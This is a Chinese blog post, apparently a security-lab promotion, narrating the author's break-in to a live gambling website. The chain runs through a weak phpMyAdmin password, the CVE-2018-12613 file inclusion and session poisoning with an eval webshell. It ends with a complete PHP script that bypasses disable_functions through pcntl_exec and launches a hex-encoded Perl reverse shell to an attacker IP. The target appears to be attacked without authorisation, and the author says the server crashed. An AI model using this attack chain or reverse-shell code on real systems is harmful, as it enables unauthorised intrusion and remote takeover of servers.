从实例中学习phpmyadmin在渗透中的应用

看到有人在发推广,说是“好玩又挣钱,性感荷官在线发牌?”。

说的让人有点心动,我也想玩。

开个无痕窗口点进去看看,发现原来是一个欢乐老虎机,那就玩一玩呗。

简单扫了一下目录,发现有phpinfo.php存在,是一个极其古老的PHP版本。

另外还有一个phpMyAdmin,搞笑的是弱密码可以直接登录。

能登进去攻击面就大多了,先考虑老套路,使用general_log结合phpinfo 中的绝对路径写webshell,然而在写的过程中发现,www目录下完全没有写的权限,再加上open_basedir的限制,

能自由活动的范围就小了。

如果单纯写入tmp目录下,则无法直接访问,有个文件包含就好了。

PMA的主面板可看到详细的MySQL之类的版本信息,按这个线索再找找看。天无绝人之路,他的phpmyadmin4.8.1已经爆出过文件包含的漏洞,此时只要拥有直接写文件的条件或者上传文件即可getshell。

无奈上面的限制,目标继续锁定到tmp,再尝试下之前写日志的办法写一下shell,可惜又遇到了问题,mysql用户写入的文件,www用户读不了!

在有本地文件包含的漏洞下,这里简单介绍一下LFI 拿shell的几种常见方法:

有上传点

这是最简单的,即使限制的再死,只要能插入恶意代码,结合文件包含就能成功。

日志投毒

所有能投毒的日志都可以尝试,比如ssh、Apache/nginx、mail。

ProcEnviron注入

/proc/self/environ文件中有当前进程的环境变量。

如果可以包含,并且里面有HTTP_USER_AGENT,我们就可以通过UA 头进行注入,然后包含上面那个文件即可。

爆破/proc/self/fd/

如果有软连接映射到access.log 这样的日志文件就可以利用上面的手法了

php崩溃留下临时文件

如果不清楚文件详细名称,可以结合一些模糊匹配的办法,比如?、<、>。

可参考:https://www.anquanke.com/post/id/183046

结合具体的web应用

对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。

所以这有了一种更加简单的办法,直接进行SQL查询来插入恶意语句。

选好了方向就开始干活了,又遇到一个小问题,这台机器可能开了一些安全服务。直接传入$_POST $_GET 这种直接给你转成小写了。如果传入数据还有eval,立马封IP,有点狠,但是问题不大,可以曲线救国一下,将<?eval($_GET[1]);?>编码后再解码写入。

再包含一下session,使得刚刚的代码能过执行。先找一下session的具体位置,从phpinfo中可知,session的sava_path为空,那就是默认tmp了。

常见session存放位置:(phpsessid可从cookie中看到)

  • /var/lib/php/sess_PHPSESSID  

  • /var/lib/php/sess_PHPSESSID  

  • /tmp/sess_PHPSESSID  

  • /tmp/sessions/sess_PHPSESSID  

可看到成功包含。

想了解更多的文件包含漏洞学习,可到合天网安实验室学习实验——CVE-利用phpMyAdmin文件包含漏洞包含.frm文件从而进行RCE

相关实验:CVE-2018-12613phpMyAdmin文件包含漏洞

长按下面二维码,或点击文末“阅读原文”(PC端操作最佳哟)

长按开始学习

http://www.hetianlab.com/expc.do?ec=ECID169b-e5a2-4f81-8881-a6b216573892

写入成功,拿起我们的中国菜刀!你以为到这里就结束了吗?还早着呢:)

由phpinfo可知,这里设置了disable_function。

  1. passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru  

仔细看了一下发现还是有漏网之鱼的:pcntl_exec,这个的利用姿势已经很成熟了。

利用成功脚本如下:( PHP4 >= 4.2.0, PHP 5 on Linux )

  1. /******************************* 

  2.  * 查看 phpinfo 编译参数 --enable-pcntl 

  3.  * 作者 Spider 

  4.  *nc -vvlp 443 

  5. ********************************/  

  6.    

  7. $ip = 'xxx.xxx.xxx.xxx';  

  8. $port = '443';  

  9. $file = '/tmp/bc.pl';  

  10.    

  11. header("content-Type: text/html; charset=gb2312");  

  12.    

  13. if(function_exists('pcntl_exec')) {  

  14.         $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".  

  15.                 "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".  

  16.                 "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".  

  17.                 "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.  

  18.                 "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.  

  19.                 "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".  

  20.                 "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".  

  21.                 "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".  

  22.                 "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".  

  23.                 "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".  

  24.                 "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".  

  25.                 "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".  

  26.                 "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".  

  27.                 "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".  

  28.                 "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".  

  29.                 "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".  

  30.                 "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".  

  31.                 "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".  

  32.                 "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".  

  33.                 "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".  

  34.                 "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".  

  35.                 "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";  

  36.         $fp = fopen($file,'w');  

  37.         $key = fputs($fp,$data);  

  38.         fclose($fp);  

  39.         if(!$key) exit(' 写入'.$file.' 失败');  

  40.         chmod($file,0777);  

  41.         pcntl_exec($file);  

  42.         unlink($file);  

  43. else {  

  44.         echo ' 不支持 pcntl 扩展';  

  45. }

成功拿到shell。

本来想过几天再提一下权的,可惜Apache已经崩了,等待管理员重启。

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值